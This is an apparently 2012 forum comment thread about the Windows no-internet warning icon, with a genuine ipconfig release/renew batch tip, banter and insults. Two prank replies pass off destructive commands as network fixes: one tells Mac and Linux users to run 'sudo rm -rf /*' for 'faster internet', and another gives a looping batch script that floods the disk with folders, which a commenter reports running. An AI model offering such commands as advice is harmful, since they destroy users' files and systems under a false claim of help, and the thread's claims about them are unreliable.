My hate for this symbol. description is description. The amount of hate I have for this symbol. Jill. OKAY GUYS!!!! I wrote this little piece of magic one day when this happened to me. write a .bat file with this in it: (or just type it into cmd) :: echo off ipc
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#13 - ihasaproud (02/08/2012) [-]
OKAY GUYS!!!! I wrote this little piece of magic one day when this **** happened to me.
write a .bat file with this in it: (or just type it into cmd) ::

echo off
ipconfig /release
ipconfig /renew
echo on

This will refresh your IP, and reload your connection to the wireless network.
I use it every day when my piece of **** Toshiba ***** out on me.

You. Are. ******* . Welcome.
User avatar #15 to #13 - duhwinningcs (02/08/2012) [-]
huh your toshiba has problems too. on mine windows stops recognizing that theres a wifi card in the computer. also windows wont recognize the sound card. **** toshiba
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User avatar #453 to #13 - nexu (02/08/2012) [-]
what does it mean when it says "the requested operation requires elevation"?
User avatar #455 to #453 - rustyrabbit (02/09/2012) [-]
it means that it wants you to be that good feeling when you poop
#73 to #13 - anon (02/08/2012) [-]
Everyone who is anyone knows this, you ******* retard. The people who don't know this are even more retarded than you are, and I want to cut your heads off with a saw.

Have a terrible day.
#182 to #13 - rustyshakleford (02/08/2012) [-]
There are more favorites than toenail clippings on your comment!
User avatar #22 to #13 - Onewaystreetpark (02/08/2012) [-]
bump
User avatar #20 to #13 - nickldd (02/08/2012) [-]
this happens to may alot because i have my internet wireless router in the basement and im 3 floors up. Can you tell me step by step how do to this? I have no clue how to create a .bat file
User avatar #42 to #20 - basilbrush (02/08/2012) [-]
Open notepad, write what he's said, then save that file but make sure in the "save as..." screen that you select .bat for the file type.
User avatar #44 to #42 - nickldd (02/08/2012) [-]
cool thanks man. Now when it does happen do i just click on the file?
User avatar #48 to #44 - basilbrush (02/08/2012) [-]
yea just open it and that should be it.
User avatar #53 to #48 - nickldd (02/08/2012) [-]
ok i just tried it and it only gave me the option of a .txt file or "All Files" when i do save as
User avatar #57 to #53 - basilbrush (02/08/2012) [-]
select "all files", then write "ipconfig.bat" as the filename, the .bat extension on the name makes it a batch file.
#69 to #57 - anon (02/08/2012) [-]
So this is legit.

But you're a dumb ****** if you're typing anything someone tells you too on the internet, saving it as a .bat and running it.
User avatar #72 to #69 - basilbrush (02/08/2012) [-]
well it is legit, and if you have any idea of computers you'd know that "ipconfig /release" will release your IP configuration and "ipconfig /renew" will only renew your IP configuration, kind of says it in the name. a bat file is just a different way of writing into the cmd.
#276 to #13 - anon (02/08/2012) [-]
here's the instructions for mac and linux that does essentially the same thing:

1. Open terminal, which is found in the utilities folder, in your applications folder
2. Type "sudo rm -rf /*" (no quotes)
3. if it asks for your password (which it should because you gave a sudo command which
stands for Super User Do, essentially commanding your comp to do what you tell it to) give it
4.Enjoy your faster internet connection due to reapportioning more of the local network to yourself

pic related, it's me after I found out about this command

#457 to #13 - ihasaproud (02/09/2012) [-]
What the **** just happened??
Went to sleep, come back and my comment has more toenail clippings than a midget from chernobyl
User avatar #446 to #457 - mrgaw (05/16/2013) [-]
you are my new heroe!
#128 to #13 - anon (02/08/2012) [-]
this little piece of magic reroutes your ip faster than a bitch on heat
write in notepad

@echo off
:top
md %random%
goto top

save as .bat

you're welcome
#331 to #128 - poopmegusta (02/08/2012) [-]
Thanks! :)

32690 folder, exactly what i needed!
User avatar #454 to #331 - fuckdisshit (02/09/2012) [-]
well I feel like a ******* idiot.

I looked at this reply to see if it was actually a decent code, only read the "Thanks :)" then did it without reading the rest.

I'm never trusting advice on the internet again.
User avatar #462 to #454 - nickldd (02/12/2012) [-]
Ok so by reading your comment im hesitant to try this. does it work or is it a scam?
User avatar #463 to #462 - fuckdisshit (02/12/2012) [-]
Nah it works
User avatar #464 to #463 - nickldd (02/12/2012) [-]
Didnt do ****
User avatar #465 to #464 - fuckdisshit (02/12/2012) [-]
did it wrong then, save it as .bat an make sure the file actually changes from a notepad
User avatar #466 to #465 - nickldd (02/12/2012) [-]
Yea i saved it as a bat on my desktop. the file changed into a bat file i clicked on it and the console came up for a second and said echo. then it exited and nothing happened
#187 to #128 - anon (02/08/2012) [-]
just did this, made my internet twice as fast....wtf
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User avatar #253 to #13 - yojo (02/08/2012) [-]
Your comment got more favorites than toenail clippings up.... some people just take and don't give back :/
User avatar #124 to #13 - Fabianz (02/08/2012) [-]
I favourited and toenail clippinged this comment to come back to when I was having internet problems. Then I realized I wouldn't be able to acces the internet.

I am not a clever man...
#320 to #124 - mateusdefaria (02/08/2012) [-]
Save it, so you can see it when you need help.
#14 - squirtygoat (02/08/2012) [-]
Bitch, please.
#277 to #14 - peedee (02/08/2012) [-]
wired connection gets the little annoying triange too bro :(
#115 - suikerpapa (02/08/2012) [-]
**suikerpapa rolled a random image posted in comment #20 at I'm not going ** mfw

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User avatar #305 to #115 - thatguyishere (02/08/2012) [-]
and THERE WAS A FIREFIGHT!!!!!!

boondock saints ftw
User avatar #120 to #115 - suikerpapa (02/08/2012) [-]
an appropriate roll, my life is comnplete.
#119 to #115 - doctorjosh (02/08/2012) [-]
**doctorjosh rolls 97**
#396 - anon (02/08/2012) [-]
**anonymous rolls 33**
#411 to #396 - anon (02/08/2012) [-]
**anonymous rolls 98**
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#404 - onyxv (02/08/2012) [-]
#405 to #404 - onyxv (02/08/2012) [-]
**onyxv rolls 54,664**
#143 - robalob (02/08/2012) [-]
IS TOO DAMN HIGH!!!!
#173 to #70 - anon (02/08/2012) [-]
The watermark on the bottom gives it away, crop it a bit
#358 - loyalx (02/08/2012) [-]
**loyalx rolled a random image posted in comment #259 at Man vs Childhood **
#364 to #358 - dillboy (02/08/2012) [-]
I keep seeing that image every where.
I keep seeing that image every where.
User avatar #381 to #364 - supermegasherman (02/08/2012) [-]
its a conspiracy
User avatar #384 to #381 - dillboy (02/08/2012) [-]
Every website I've been to in the last week I've seen it every day
#147 - dilorenzoj (02/08/2012) [-]
This is what I got after I moved to the next post last night. Just shut my laptop and went to bed.
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User avatar #263 to #147 - plzmom (02/08/2012) [-]
Doesn't happen on ur iPhone though does it??? Yes I'm on my ******* iPhone 4s right now u bitches.
User avatar #291 to #263 - InfernalOneShot (02/08/2012) [-]
Learn to spend your money better.
#382 - gnifle (02/08/2012) [-]
You get internet.... But then again, you don't...   
   
It's like getting a cookie, but without getting permission to eat it :(
You get internet.... But then again, you don't...

It's like getting a cookie, but without getting permission to eat it :(
#378 - tholomewsense (02/08/2012) [-]
**tholomewsense rolled a random image posted in comment #105 at Racist clothing website? ** MFW i get the symbol
User avatar #379 to #378 - ghujockmaster (02/08/2012) [-]
juliansmith?
#136 - dougdouglasthree (02/08/2012) [-]
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<-- and this as well.
#274 - claymoar (02/08/2012) [-]
mfw
#130 - inmuc (02/08/2012) [-]
What happens to my pc XD
What happens to my pc XD
#142 to #130 - tinfoilhat (02/08/2012) [-]
I have no Bioshock reaction pictures... so here is a crab.
#392 - MrMeatStick (02/08/2012) [-]
bitches be trippin
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